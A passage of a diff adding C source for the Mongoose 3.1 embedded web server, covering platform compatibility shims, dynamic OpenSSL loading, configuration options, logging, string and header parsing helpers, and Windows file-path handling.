+typedef struct {HANDLE signal, broadcast;} pthread_cond_t;
+typedef DWORD pthread_t;
+#define pid_t HANDLE // MINGW typedefs pid_t to int. Using #define here.
+
+struct timespec {
+ long tv_nsec;
+ long tv_sec;
+};
+
+static int pthread_mutex_lock(pthread_mutex_t *);
+static int pthread_mutex_unlock(pthread_mutex_t *);
+static FILE *mg_fopen(const char *path, const char *mode);
+
+#if defined(HAVE_STDINT)
+#include <stdint.h>
+#else
+typedef unsigned int uint32_t;
+typedef unsigned short uint16_t;
+typedef unsigned __int64 uint64_t;
+typedef __int64 int64_t;
+#define INT64_MAX 9223372036854775807
+#endif // HAVE_STDINT
+
+// POSIX dirent interface
+struct dirent {
+ char d_name[PATH_MAX];
+};
+
+typedef struct DIR {
+ HANDLE handle;
+ WIN32_FIND_DATAW info;
+ struct dirent result;
+} DIR;
+
+#else // UNIX specific
+#include <sys/wait.h>
+#include <sys/socket.h>
+#include <sys/select.h>
+#include <netinet/in.h>
+#include <arpa/inet.h>
+#include <sys/time.h>
+#include <stdint.h>
+#include <inttypes.h>
+#include <netdb.h>
+
+#include <pwd.h>
+#include <unistd.h>
+#include <dirent.h>
+#if !defined(NO_SSL_DL) && !defined(NO_SSL)
+#include <dlfcn.h>
+#endif
+#include <pthread.h>
+#if defined(__MACH__)
+#define SSL_LIB "libssl.dylib"
+#define CRYPTO_LIB "libcrypto.dylib"
+#else
+#if !defined(SSL_LIB)
+#define SSL_LIB "libssl.so"
+#endif
+#if !defined(CRYPTO_LIB)
+#define CRYPTO_LIB "libcrypto.so"
+#endif
+#endif
+#define DIRSEP '/'
+#define IS_DIRSEP_CHAR(c) ((c) == '/')
+#ifndef O_BINARY
+#define O_BINARY 0
+#endif // O_BINARY
+#define closesocket(a) close(a)
+#define mg_fopen(x, y) fopen(x, y)
+#define mg_mkdir(x, y) mkdir(x, y)
+#define mg_remove(x) remove(x)
+#define mg_rename(x, y) rename(x, y)
+#define ERRNO errno
+#define INVALID_SOCKET (-1)
+#define INT64_FMT PRId64
+typedef int SOCKET;
+#define WINCDECL
+
+#endif // End of Windows and UNIX specific includes
+
+#include "mongoose.h"
+
+#define MONGOOSE_VERSION "3.1"
+#define PASSWORDS_FILE_NAME ".htpasswd"
+#define CGI_ENVIRONMENT_SIZE 4096
+#define MAX_CGI_ENVIR_VARS 64
+#define ARRAY_SIZE(array) (sizeof(array) / sizeof(array[0]))
+
+#ifdef _WIN32
+static CRITICAL_SECTION global_log_file_lock;
+static pthread_t pthread_self(void) {
+ return GetCurrentThreadId();
+}
+#endif // _WIN32
+
+#if defined(DEBUG)
+#define DEBUG_TRACE(x) do { \
+ flockfile(stdout); \
+ printf("*** %lu.%p.%s.%d: ", \
+ (unsigned long) time(NULL), (void *) pthread_self(), \
+ __func__, __LINE__); \
+ printf x; \
+ putchar('\n'); \
+ fflush(stdout); \
+ funlockfile(stdout); \
+} while (0)
+#else
+#define DEBUG_TRACE(x)
+#endif // DEBUG
+
+// Darwin prior to 7.0 and Win32 do not have socklen_t
+#ifdef NO_SOCKLEN_T
+typedef int socklen_t;
+#endif // NO_SOCKLEN_T
+
+#if !defined(MSG_NOSIGNAL)
+#define MSG_NOSIGNAL 0
+#endif
+
+typedef void * (*mg_thread_func_t)(void *);
+
+static const char *http_500_error = "Internal Server Error";
+
+// Snatched from OpenSSL includes. I put the prototypes here to be independent
+// from the OpenSSL source installation. Having this, mongoose + SSL can be
+// built on any system with binary SSL libraries installed.
+typedef struct ssl_st SSL;
+typedef struct ssl_method_st SSL_METHOD;
+typedef struct ssl_ctx_st SSL_CTX;
+
+#define SSL_ERROR_WANT_READ 2
+#define SSL_ERROR_WANT_WRITE 3
+#define SSL_FILETYPE_PEM 1
+#define CRYPTO_LOCK 1
+
+#if defined(NO_SSL_DL)
+extern void SSL_free(SSL *);
+extern int SSL_accept(SSL *);
+extern int SSL_connect(SSL *);
+extern int SSL_read(SSL *, void *, int);
+extern int SSL_write(SSL *, const void *, int);
+extern int SSL_get_error(const SSL *, int);
+extern int SSL_set_fd(SSL *, int);
+extern SSL *SSL_new(SSL_CTX *);
+extern SSL_CTX *SSL_CTX_new(SSL_METHOD *);
+extern SSL_METHOD *SSLv23_server_method(void);
+extern int SSL_library_init(void);
+extern void SSL_load_error_strings(void);
+extern int SSL_CTX_use_PrivateKey_file(SSL_CTX *, const char *, int);
+extern int SSL_CTX_use_certificate_file(SSL_CTX *, const char *, int);
+extern int SSL_CTX_use_certificate_chain_file(SSL_CTX *, const char *);
+extern void SSL_CTX_set_default_passwd_cb(SSL_CTX *, mg_callback_t);
+extern void SSL_CTX_free(SSL_CTX *);
+extern unsigned long ERR_get_error(void);
+extern char *ERR_error_string(unsigned long, char *);
+extern int CRYPTO_num_locks(void);
+extern void CRYPTO_set_locking_callback(void (*)(int, int, const char *, int));
+extern void CRYPTO_set_id_callback(unsigned long (*)(void));
+#else
+// Dynamically loaded SSL functionality
+struct ssl_func {
+ const char *name; // SSL function name
+ void (*ptr)(void); // Function pointer
+};
+
+#define SSL_free (* (void (*)(SSL *)) ssl_sw[0].ptr)
+#define SSL_accept (* (int (*)(SSL *)) ssl_sw[1].ptr)
+#define SSL_connect (* (int (*)(SSL *)) ssl_sw[2].ptr)
+#define SSL_read (* (int (*)(SSL *, void *, int)) ssl_sw[3].ptr)
+#define SSL_write (* (int (*)(SSL *, const void *,int)) ssl_sw[4].ptr)
+#define SSL_get_error (* (int (*)(SSL *, int)) ssl_sw[5].ptr)
+#define SSL_set_fd (* (int (*)(SSL *, SOCKET)) ssl_sw[6].ptr)
+#define SSL_new (* (SSL * (*)(SSL_CTX *)) ssl_sw[7].ptr)
+#define SSL_CTX_new (* (SSL_CTX * (*)(SSL_METHOD *)) ssl_sw[8].ptr)
+#define SSLv23_server_method (* (SSL_METHOD * (*)(void)) ssl_sw[9].ptr)
+#define SSL_library_init (* (int (*)(void)) ssl_sw[10].ptr)
+#define SSL_CTX_use_PrivateKey_file (* (int (*)(SSL_CTX *, \
+ const char *, int)) ssl_sw[11].ptr)
+#define SSL_CTX_use_certificate_file (* (int (*)(SSL_CTX *, \
+ const char *, int)) ssl_sw[12].ptr)
+#define SSL_CTX_set_default_passwd_cb \
+ (* (void (*)(SSL_CTX *, mg_callback_t)) ssl_sw[13].ptr)
+#define SSL_CTX_free (* (void (*)(SSL_CTX *)) ssl_sw[14].ptr)
+#define SSL_load_error_strings (* (void (*)(void)) ssl_sw[15].ptr)
+#define SSL_CTX_use_certificate_chain_file \
+ (* (int (*)(SSL_CTX *, const char *)) ssl_sw[16].ptr)
+
+#define CRYPTO_num_locks (* (int (*)(void)) crypto_sw[0].ptr)
+#define CRYPTO_set_locking_callback \
+ (* (void (*)(void (*)(int, int, const char *, int))) crypto_sw[1].ptr)
+#define CRYPTO_set_id_callback \
+ (* (void (*)(unsigned long (*)(void))) crypto_sw[2].ptr)
+#define ERR_get_error (* (unsigned long (*)(void)) crypto_sw[3].ptr)
+#define ERR_error_string (* (char * (*)(unsigned long,char *)) crypto_sw[4].ptr)
+
+// set_ssl_option() function updates this array.
+// It loads SSL library dynamically and changes NULLs to the actual addresses
+// of respective functions. The macros above (like SSL_connect()) are really
+// just calling these functions indirectly via the pointer.
+static struct ssl_func ssl_sw[] = {
+ {"SSL_free", NULL},
+ {"SSL_accept", NULL},
+ {"SSL_connect", NULL},
+ {"SSL_read", NULL},
+ {"SSL_write", NULL},
+ {"SSL_get_error", NULL},
+ {"SSL_set_fd", NULL},
+ {"SSL_new", NULL},
+ {"SSL_CTX_new", NULL},
+ {"SSLv23_server_method", NULL},
+ {"SSL_library_init", NULL},
+ {"SSL_CTX_use_PrivateKey_file", NULL},
+ {"SSL_CTX_use_certificate_file",NULL},
+ {"SSL_CTX_set_default_passwd_cb",NULL},
+ {"SSL_CTX_free", NULL},
+ {"SSL_load_error_strings", NULL},
+ {"SSL_CTX_use_certificate_chain_file", NULL},
+ {NULL, NULL}
+};
+
+// Similar array as ssl_sw. These functions could be located in different lib.
+static struct ssl_func crypto_sw[] = {
+ {"CRYPTO_num_locks", NULL},
+ {"CRYPTO_set_locking_callback", NULL},
+ {"CRYPTO_set_id_callback", NULL},
+ {"ERR_get_error", NULL},
+ {"ERR_error_string", NULL},
+ {NULL, NULL}
+};
+#endif // NO_SSL_DL
+
+static const char *month_names[] = {
+ "Jan", "Feb", "Mar", "Apr", "May", "Jun",
+ "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
+};
+
+// Unified socket address. For IPv6 support, add IPv6 address structure
+// in the union u.
+union usa {
+ struct sockaddr sa;
+ struct sockaddr_in sin;
+#if defined(USE_IPV6)
+ struct sockaddr_in6 sin6;
+#endif
+};
+
+// Describes a string (chunk of memory).
+struct vec {
+ const char *ptr;
+ size_t len;
+};
+
+// Structure used by mg_stat() function. Uses 64 bit file length.
+struct mgstat {
+ int is_directory; // Directory marker
+ int64_t size; // File size
+ time_t mtime; // Modification time
+};
+
+// Describes listening socket, or socket which was accept()-ed by the master
+// thread and queued for future handling by the worker thread.
+struct socket {
+ struct socket *next; // Linkage
+ SOCKET sock; // Listening socket
+ union usa lsa; // Local socket address
+ union usa rsa; // Remote socket address
+ int is_ssl; // Is socket SSL-ed
+};
+
+enum {
+ CGI_EXTENSIONS, CGI_ENVIRONMENT, PUT_DELETE_PASSWORDS_FILE, CGI_INTERPRETER,
+ PROTECT_URI, AUTHENTICATION_DOMAIN, SSI_EXTENSIONS, ACCESS_LOG_FILE,
+ SSL_CHAIN_FILE, ENABLE_DIRECTORY_LISTING, ERROR_LOG_FILE,
+ GLOBAL_PASSWORDS_FILE, INDEX_FILES,
+ ENABLE_KEEP_ALIVE, ACCESS_CONTROL_LIST, MAX_REQUEST_SIZE,
+ EXTRA_MIME_TYPES, LISTENING_PORTS,
+ DOCUMENT_ROOT, SSL_CERTIFICATE, NUM_THREADS, RUN_AS_USER, REWRITE,
+ NUM_OPTIONS
+};
+
+static const char *config_options[] = {
+ "C", "cgi_pattern", "**.cgi$|**.pl$|**.php$",
+ "E", "cgi_environment", NULL,
+ "G", "put_delete_passwords_file", NULL,
+ "I", "cgi_interpreter", NULL,
+ "P", "protect_uri", NULL,
+ "R", "authentication_domain", "mydomain.com",
+ "S", "ssi_pattern", "**.shtml$|**.shtm$",
+ "a", "access_log_file", NULL,
+ "c", "ssl_chain_file", NULL,
+ "d", "enable_directory_listing", "yes",
+ "e", "error_log_file", NULL,
+ "g", "global_passwords_file", NULL,
+ "i", "index_files", "index.html,index.htm,index.cgi",
+ "k", "enable_keep_alive", "no",
+ "l", "access_control_list", NULL,
+ "M", "max_request_size", "16384",
+ "m", "extra_mime_types", NULL,
+ "p", "listening_ports", "8080",
+ "r", "document_root", ".",
+ "s", "ssl_certificate", NULL,
+ "t", "num_threads", "10",
+ "u", "run_as_user", NULL,
+ "w", "url_rewrite_patterns", NULL,
+ NULL
+};
+#define ENTRIES_PER_CONFIG_OPTION 3
+
+struct mg_context {
+ volatile int stop_flag; // Should we stop event loop
+ SSL_CTX *ssl_ctx; // SSL context
+ char *config[NUM_OPTIONS]; // Mongoose configuration parameters
+ mg_callback_t user_callback; // User-defined callback function
+ void *user_data; // User-defined data
+
+ struct socket *listening_sockets;
+
+ volatile int num_threads; // Number of threads
+ pthread_mutex_t mutex; // Protects (max|num)_threads
+ pthread_cond_t cond; // Condvar for tracking workers terminations
+
+ struct socket queue[20]; // Accepted sockets
+ volatile int sq_head; // Head of the socket queue
+ volatile int sq_tail; // Tail of the socket queue
+ pthread_cond_t sq_full; // Singaled when socket is produced
+ pthread_cond_t sq_empty; // Signaled when socket is consumed
+};
+
+struct mg_connection {
+ struct mg_request_info request_info;
+ struct mg_context *ctx;
+ SSL *ssl; // SSL descriptor
+ struct socket client; // Connected client
+ time_t birth_time; // Time connection was accepted
+ int64_t num_bytes_sent; // Total bytes sent to client
+ int64_t content_len; // Content-Length header value
+ int64_t consumed_content; // How many bytes of content is already read
+ char *buf; // Buffer for received data
+ char *path_info; // PATH_INFO part of the URL
+ int must_close; // 1 if connection must be closed
+ int buf_size; // Buffer size
+ int request_len; // Size of the request + headers in a buffer
+ int data_len; // Total size of data in a buffer
+};
+
+const char **mg_get_valid_option_names(void) {
+ return config_options;
+}
+
+static void *call_user(struct mg_connection *conn, enum mg_event event) {
+ conn->request_info.user_data = conn->ctx->user_data;
+ return conn->ctx->user_callback == NULL ? NULL :
+ conn->ctx->user_callback(event, conn, &conn->request_info);
+}
+
+static int get_option_index(const char *name) {
+ int i;
+
+ for (i = 0; config_options[i] != NULL; i += ENTRIES_PER_CONFIG_OPTION) {
+ if (strcmp(config_options[i], name) == 0 ||
+ strcmp(config_options[i + 1], name) == 0) {
+ return i / ENTRIES_PER_CONFIG_OPTION;
+ }
+ }
+ return -1;
+}
+
+const char *mg_get_option(const struct mg_context *ctx, const char *name) {
+ int i;
+ if ((i = get_option_index(name)) == -1) {
+ return NULL;
+ } else if (ctx->config[i] == NULL) {
+ return "";
+ } else {
+ return ctx->config[i];
+ }
+}
+
+static void sockaddr_to_string(char *buf, size_t len,
+ const union usa *usa) {
+ buf[0] = '\0';
+#if defined(USE_IPV6)
+ inet_ntop(usa->sa.sa_family, usa->sa.sa_family == AF_INET ?
+ (void *) &usa->sin.sin_addr :
+ (void *) &usa->sin6.sin6_addr, buf, len);
+#elif defined(_WIN32)
+ // Only Windoze Vista (and newer) have inet_ntop()
+ strncpy(buf, inet_ntoa(usa->sin.sin_addr), len);
+#else
+ inet_ntop(usa->sa.sa_family, (void *) &usa->sin.sin_addr, buf, len);
+#endif
+}
+
+// Print error message to the opened error log stream.
+static void cry(struct mg_connection *conn, const char *fmt, ...) {
+ char buf[BUFSIZ], src_addr[20];
+ va_list ap;
+ FILE *fp;
+ time_t timestamp;
+
+ va_start(ap, fmt);
+ (void) vsnprintf(buf, sizeof(buf), fmt, ap);
+ va_end(ap);
+
+ // Do not lock when getting the callback value, here and below.
+ // I suppose this is fine, since function cannot disappear in the
+ // same way string option can.
+ conn->request_info.log_message = buf;
+ if (call_user(conn, MG_EVENT_LOG) == NULL) {
+ fp = conn->ctx->config[ERROR_LOG_FILE] == NULL ? NULL :
+ mg_fopen(conn->ctx->config[ERROR_LOG_FILE], "a+");
+
+ if (fp != NULL) {
+ flockfile(fp);
+ timestamp = time(NULL);
+
+ sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
+ fprintf(fp, "[%010lu] [error] [client %s] ", (unsigned long) timestamp,
+ src_addr);
+
+ if (conn->request_info.request_method != NULL) {
+ fprintf(fp, "%s %s: ", conn->request_info.request_method,
+ conn->request_info.uri);
+ }
+
+ (void) fprintf(fp, "%s", buf);
+ fputc('\n', fp);
+ funlockfile(fp);
+ if (fp != stderr) {
+ fclose(fp);
+ }
+ }
+ }
+ conn->request_info.log_message = NULL;
+}
+
+// Return OpenSSL error message
+static const char *ssl_error(void) {
+ unsigned long err;
+ err = ERR_get_error();
+ return err == 0 ? "" : ERR_error_string(err, NULL);
+}
+
+// Return fake connection structure. Used for logging, if connection
+// is not applicable at the moment of logging.
+static struct mg_connection *fc(struct mg_context *ctx) {
+ static struct mg_connection fake_connection;
+ fake_connection.ctx = ctx;
+ return &fake_connection;
+}
+
+const char *mg_version(void) {
+ return MONGOOSE_VERSION;
+}
+
+static void mg_strlcpy(register char *dst, register const char *src, size_t n) {
+ for (; *src != '\0' && n > 1; n--) {
+ *dst++ = *src++;
+ }
+ *dst = '\0';
+}
+
+static int lowercase(const char *s) {
+ return tolower(* (const unsigned char *) s);
+}
+
+static int mg_strncasecmp(const char *s1, const char *s2, size_t len) {
+ int diff = 0;
+
+ if (len > 0)
+ do {
+ diff = lowercase(s1++) - lowercase(s2++);
+ } while (diff == 0 && s1[-1] != '\0' && --len > 0);
+
+ return diff;
+}
+
+static int mg_strcasecmp(const char *s1, const char *s2) {
+ int diff;
+
+ do {
+ diff = lowercase(s1++) - lowercase(s2++);
+ } while (diff == 0 && s1[-1] != '\0');
+
+ return diff;
+}
+
+static char * mg_strndup(const char *ptr, size_t len) {
+ char *p;
+
+ if ((p = (char *) malloc(len + 1)) != NULL) {
+ mg_strlcpy(p, ptr, len + 1);
+ }
+
+ return p;
+}
+
+static char * mg_strdup(const char *str) {
+ return mg_strndup(str, strlen(str));
+}
+
+// Like snprintf(), but never returns negative value, or the value
+// that is larger than a supplied buffer.
+// Thanks to Adam Zeldis to pointing snprintf()-caused vulnerability
+// in his audit report.
+static int mg_vsnprintf(struct mg_connection *conn, char *buf, size_t buflen,
+ const char *fmt, va_list ap) {
+ int n;
+
+ if (buflen == 0)
+ return 0;
+
+ n = vsnprintf(buf, buflen, fmt, ap);
+
+ if (n < 0) {
+ cry(conn, "vsnprintf error");
+ n = 0;
+ } else if (n >= (int) buflen) {
+ cry(conn, "truncating vsnprintf buffer: [%.*s]",
+ n > 200 ? 200 : n, buf);
+ n = (int) buflen - 1;
+ }
+ buf[n] = '\0';
+
+ return n;
+}
+
+static int mg_snprintf(struct mg_connection *conn, char *buf, size_t buflen,
+ const char *fmt, ...) {
+ va_list ap;
+ int n;
+
+ va_start(ap, fmt);
+ n = mg_vsnprintf(conn, buf, buflen, fmt, ap);
+ va_end(ap);
+
+ return n;
+}
+
+// Skip the characters until one of the delimiters characters found.
+// 0-terminate resulting word. Skip the delimiter and following whitespaces if any.
+// Advance pointer to buffer to the next word. Return found 0-terminated word.
+// Delimiters can be quoted with quotechar.
+static char *skip_quoted(char **buf, const char *delimiters, const char *whitespace, char quotechar) {
+ char *p, *begin_word, *end_word, *end_whitespace;
+
+ begin_word = *buf;
+ end_word = begin_word + strcspn(begin_word, delimiters);
+
+ // Check for quotechar
+ if (end_word > begin_word) {
+ p = end_word - 1;
+ while (*p == quotechar) {
+ // If there is anything beyond end_word, copy it
+ if (*end_word == '\0') {
+ *p = '\0';
+ break;
+ } else {
+ size_t end_off = strcspn(end_word + 1, delimiters);
+ memmove (p, end_word, end_off + 1);
+ p += end_off; // p must correspond to end_word - 1
+ end_word += end_off + 1;
+ }
+ }
+ for (p++; p < end_word; p++) {
+ *p = '\0';
+ }
+ }
+
+ if (*end_word == '\0') {
+ *buf = end_word;
+ } else {
+ end_whitespace = end_word + 1 + strspn(end_word + 1, whitespace);
+
+ for (p = end_word; p < end_whitespace; p++) {
+ *p = '\0';
+ }
+
+ *buf = end_whitespace;
+ }
+
+ return begin_word;
+}
+
+// Simplified version of skip_quoted without quote char
+// and whitespace == delimiters
+static char *skip(char **buf, const char *delimiters) {
+ return skip_quoted(buf, delimiters, delimiters, 0);
+}
+
+
+// Return HTTP header value, or NULL if not found.
+static const char *get_header(const struct mg_request_info *ri,
+ const char *name) {
+ int i;
+
+ for (i = 0; i < ri->num_headers; i++)
+ if (!mg_strcasecmp(name, ri->http_headers[i].name))
+ return ri->http_headers[i].value;
+
+ return NULL;
+}
+
+const char *mg_get_header(const struct mg_connection *conn, const char *name) {
+ return get_header(&conn->request_info, name);
+}
+
+// A helper function for traversing comma separated list of values.
+// It returns a list pointer shifted to the next value, of NULL if the end
+// of the list found.
+// Value is stored in val vector. If value has form "x=y", then eq_val
+// vector is initialized to point to the "y" part, and val vector length
+// is adjusted to point only to "x".
+static const char *next_option(const char *list, struct vec *val,
+ struct vec *eq_val) {
+ if (list == NULL || *list == '\0') {
+ // End of the list
+ list = NULL;
+ } else {
+ val->ptr = list;
+ if ((list = strchr(val->ptr, ',')) != NULL) {
+ // Comma found. Store length and shift the list ptr
+ val->len = list - val->ptr;
+ list++;
+ } else {
+ // This value is the last one
+ list = val->ptr + strlen(val->ptr);
+ val->len = list - val->ptr;
+ }
+
+ if (eq_val != NULL) {
+ // Value has form "x=y", adjust pointers and lengths
+ // so that val points to "x", and eq_val points to "y".
+ eq_val->len = 0;
+ eq_val->ptr = (const char *) memchr(val->ptr, '=', val->len);
+ if (eq_val->ptr != NULL) {
+ eq_val->ptr++; // Skip over '=' character
+ eq_val->len = val->ptr + val->len - eq_val->ptr;
+ val->len = (eq_val->ptr - val->ptr) - 1;
+ }
+ }
+ }
+
+ return list;
+}
+
+static int match_prefix(const char *pattern, int pattern_len, const char *str) {
+ const char *or_str;
+ int i, j, len, res;
+
+ if ((or_str = (const char *) memchr(pattern, '|', pattern_len)) != NULL) {
+ res = match_prefix(pattern, or_str - pattern, str);
+ return res > 0 ? res :
+ match_prefix(or_str + 1, (pattern + pattern_len) - (or_str + 1), str);
+ }
+
+ i = j = 0;
+ res = -1;
+ for (; i < pattern_len; i++, j++) {
+ if (pattern[i] == '?' && str[j] != '\0') {
+ continue;
+ } else if (pattern[i] == '$') {
+ return str[j] == '\0' ? j : -1;
+ } else if (pattern[i] == '*') {
+ i++;
+ if (pattern[i] == '*') {
+ i++;
+ len = strlen(str + j);
+ } else {
+ len = strcspn(str + j, "/");
+ }
+ if (i == pattern_len) {
+ return j + len;
+ }
+ do {
+ res = match_prefix(pattern + i, pattern_len - i, str + j + len);
+ } while (res == -1 && len-- > 0);
+ return res == -1 ? -1 : j + res + len;
+ } else if (pattern[i] != str[j]) {
+ return -1;
+ }
+ }
+ return j;
+}
+
+// HTTP 1.1 assumes keep alive if "Connection:" header is not set
+// This function must tolerate situations when connection info is not
+// set up, for example if request parsing failed.
+static int should_keep_alive(const struct mg_connection *conn) {
+ const char *http_version = conn->request_info.http_version;
+ const char *header = mg_get_header(conn, "Connection");
+ return (!conn->must_close &&
+ !conn->request_info.status_code != 401 &&
+ !mg_strcasecmp(conn->ctx->config[ENABLE_KEEP_ALIVE], "yes") &&
+ (header == NULL && http_version && !strcmp(http_version, "1.1"))) ||
+ (header != NULL && !mg_strcasecmp(header, "keep-alive"));
+}
+
+static const char *suggest_connection_header(const struct mg_connection *conn) {
+ return should_keep_alive(conn) ? "keep-alive" : "close";
+}
+
+static void send_http_error(struct mg_connection *conn, int status,
+ const char *reason, const char *fmt, ...) {
+ char buf[BUFSIZ];
+ va_list ap;
+ int len;
+
+ conn->request_info.status_code = status;
+
+ if (call_user(conn, MG_HTTP_ERROR) == NULL) {
+ buf[0] = '\0';
+ len = 0;
+
+ // Errors 1xx, 204 and 304 MUST NOT send a body
+ if (status > 199 && status != 204 && status != 304) {
+ len = mg_snprintf(conn, buf, sizeof(buf), "Error %d: %s", status, reason);
+ cry(conn, "%s", buf);
+ buf[len++] = '\n';
+
+ va_start(ap, fmt);
+ len += mg_vsnprintf(conn, buf + len, sizeof(buf) - len, fmt, ap);
+ va_end(ap);
+ }
+ DEBUG_TRACE(("[%s]", buf));
+
+ mg_printf(conn, "HTTP/1.1 %d %s\r\n"
+ "Content-Type: text/plain\r\n"
+ "Content-Length: %d\r\n"
+ "Connection: %s\r\n\r\n", status, reason, len,
+ suggest_connection_header(conn));
+ conn->num_bytes_sent += mg_printf(conn, "%s", buf);
+ }
+}
+
+#if defined(_WIN32) && !defined(__SYMBIAN32__)
+static int pthread_mutex_init(pthread_mutex_t *mutex, void *unused) {
+ unused = NULL;
+ *mutex = CreateMutex(NULL, FALSE, NULL);
+ return *mutex == NULL ? -1 : 0;
+}
+
+static int pthread_mutex_destroy(pthread_mutex_t *mutex) {
+ return CloseHandle(*mutex) == 0 ? -1 : 0;
+}
+
+static int pthread_mutex_lock(pthread_mutex_t *mutex) {
+ return WaitForSingleObject(*mutex, INFINITE) == WAIT_OBJECT_0? 0 : -1;
+}
+
+static int pthread_mutex_unlock(pthread_mutex_t *mutex) {
+ return ReleaseMutex(*mutex) == 0 ? -1 : 0;
+}
+
+static int pthread_cond_init(pthread_cond_t *cv, const void *unused) {
+ unused = NULL;
+ cv->signal = CreateEvent(NULL, FALSE, FALSE, NULL);
+ cv->broadcast = CreateEvent(NULL, TRUE, FALSE, NULL);
+ return cv->signal != NULL && cv->broadcast != NULL ? 0 : -1;
+}
+
+static int pthread_cond_wait(pthread_cond_t *cv, pthread_mutex_t *mutex) {
+ HANDLE handles[] = {cv->signal, cv->broadcast};
+ ReleaseMutex(*mutex);
+ WaitForMultipleObjects(2, handles, FALSE, INFINITE);
+ return WaitForSingleObject(*mutex, INFINITE) == WAIT_OBJECT_0? 0 : -1;
+}
+
+static int pthread_cond_signal(pthread_cond_t *cv) {
+ return SetEvent(cv->signal) == 0 ? -1 : 0;
+}
+
+static int pthread_cond_broadcast(pthread_cond_t *cv) {
+ // Implementation with PulseEvent() has race condition, see
+ // http://www.cs.wustl.edu/~schmidt/win32-cv-1.html
+ return PulseEvent(cv->broadcast) == 0 ? -1 : 0;
+}
+
+static int pthread_cond_destroy(pthread_cond_t *cv) {
+ return CloseHandle(cv->signal) && CloseHandle(cv->broadcast) ? 0 : -1;
+}
+
+// For Windows, change all slashes to backslashes in path names.
+static void change_slashes_to_backslashes(char *path) {
+ int i;
+
+ for (i = 0; path[i] != '\0'; i++) {
+ if (path[i] == '/')
+ path[i] = '\\';
+ // i > 0 check is to preserve UNC paths, like \\server\file.txt
+ if (path[i] == '\\' && i > 0)
+ while (path[i + 1] == '\\' || path[i + 1] == '/')
+ (void) memmove(path + i + 1,
+ path + i + 2, strlen(path + i + 1));
+ }
+}
+
+// Encode 'path' which is assumed UTF-8 string, into UNICODE string.
+// wbuf and wbuf_len is a target buffer and its length.
+static void to_unicode(const char *path, wchar_t *wbuf, size_t wbuf_len) {
+ char buf[PATH_MAX], buf2[PATH_MAX], *p;
+
+ mg_strlcpy(buf, path, sizeof(buf));
+ change_slashes_to_backslashes(buf);
+
+ // Point p to the end of the file name
+ p = buf + strlen(buf) - 1;
+
+ // Trim trailing backslash character
+ while (p > buf && *p == '\\' && p[-1] != ':') {
+ *p-- = '\0';
+ }
+
+ // Protect from CGI code disclosure.
+ // This is very nasty hole. Windows happily opens files with
+ // some garbage in the end of file name. So fopen("a.cgi ", "r")
+ // actually opens "a.cgi", and does not return an error!
+ if (*p == 0x20 || // No space at the end
+ (*p == 0x2e && p > buf) || // No '.' but allow '.' as full path
+ *p == 0x2b || // No '+'
+ (*p & ~0x7f)) { // And generally no non-ascii chars
+ (void) fprintf(stderr, "Rejecting suspicious path: [%s]", buf);
+ wbuf[0] = L'\0';
+ } else {
+ // Convert to Unicode and back. If doubly-converted string does not
+ // match the original, something is fishy, reject.
+ memset(wbuf, 0, wbuf_len * sizeof(wchar_t));
+ MultiByteToWideChar(CP_UTF8, 0, buf, -1, wbuf, (int) wbuf_len);
+ WideCharToMultiByte(CP_UTF8, 0, wbuf, (int) wbuf_len, buf2, sizeof(buf2),
+ NULL, NULL);
+ if (strcmp(buf, buf2) != 0) {
+ wbuf[0] = L'\0';
+ }
+ }
+}
+
+#if defined(_WIN32_WCE)
+static time_t time(time_t *ptime) {
+ time_t t;
+ SYSTEMTIME st;
+ FILETIME ft;
+
+ GetSystemTime(&st);
+ SystemTimeToFileTime(&st, &ft);
+ t = SYS2UNIX_TIME(ft.dwLowDateTime, ft.dwHighDateTime);
+
+ if (ptime != NULL) {
+ *ptime = t;
+ }
+
+ return t;
+}
+
+static struct tm *localtime(const time_t *ptime, struct tm *ptm) {
+ int64_t t = ((int64_t) *ptime) * RATE_DIFF + EPOCH_DIFF;
+ FILETIME ft, lft;
+ SYSTEMTIME st;
+ TIME_ZONE_INFORMATION tzinfo;
+
+ if (ptm == NULL) {
+ return NULL;
+ }
+
+ * (int64_t *) &ft = t;
+ FileTimeToLocalFileTime(&ft, &lft);
+ FileTimeToSystemTime(&lft, &st);
+ ptm->tm_year = st.wYear - 1900;
+ ptm->tm_mon = st.wMonth - 1;
+ ptm->tm_wday = st.wDayOfWeek;
+ ptm->tm_mday = st.wDay;
+ ptm->tm_hour = st.wHour;
+ ptm->tm_min = st.wMinute;
+ ptm->tm_sec = st.wSecond;
+ ptm->tm_yday = 0; // hope nobody uses this
+ ptm->tm_isdst =
+ GetTimeZoneInformation(&tzinfo) == TIME_ZONE_ID_DAYLIGHT ? 1 : 0;
+
+ return ptm;
+}
+
+static struct tm *gmtime(const time_t *ptime, struct tm *ptm) {
+ // FIXME(lsm): fix this.
+ return localtime(ptime, ptm);
+}
+
+static size_t strftime(char *dst, size_t dst_size, const char *fmt,
+ const struct tm *tm) {
+ (void) snprintf(dst, dst_size, "implement strftime() for WinCE");
+ return 0;
+}
+#endif
+
+static int mg_rename(const char* oldname, const char* newname) {
+ wchar_t woldbuf[PATH_MAX];
+ wchar_t wnewbuf[PATH_MAX];
+
+ to_unicode(oldname, woldbuf, ARRAY_SIZE(woldbuf));
+ to_unicode(newname, wnewbuf, ARRAY_SIZE(wnewbuf));
+
+ return MoveFileW(woldbuf, wnewbuf) ? 0 : -1;
+}
+
+
+static FILE *mg_fopen(const char *path, const char *mode) {
+ wchar_t wbuf[PATH_MAX], wmode[20];
+
+ to_unicode(path, wbuf, ARRAY_SIZE(wbuf));
+ MultiByteToWideChar(CP_UTF8, 0, mode, -1, wmode, ARRAY_SIZE(wmode));
+
+ return _wfopen(wbuf, wmode);
+}
+
+static int mg_stat(const char *path, struct mgstat *stp) {
+ int ok = -1; // Error
+ wchar_t wbuf[PATH_MAX];
+ WIN32_FILE_ATTRIBUTE_DATA info;
+
+ to_unicode(path, wbuf, ARRAY_SIZE(wbuf));
+
+ if (GetFileAttributesExW(wbuf, GetFileExInfoStandard, &info) != 0) {
+ stp->size = MAKEUQUAD(info.nFileSizeLow, info.nFileSizeHigh);
+ stp->mtime = SYS2UNIX_TIME(info.ftLastWriteTime.dwLowDateTime,
+ info.ftLastWriteTime.dwHighDateTime);
+ stp->is_directory =
+ info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
+ ok = 0; // Success
+ }
+
+ return ok;
+}
+
+static int mg_remove(const char *path) {
+ wchar_t wbuf[PATH_MAX];
+ to_unicode(path, wbuf, ARRAY_SIZE(wbuf));
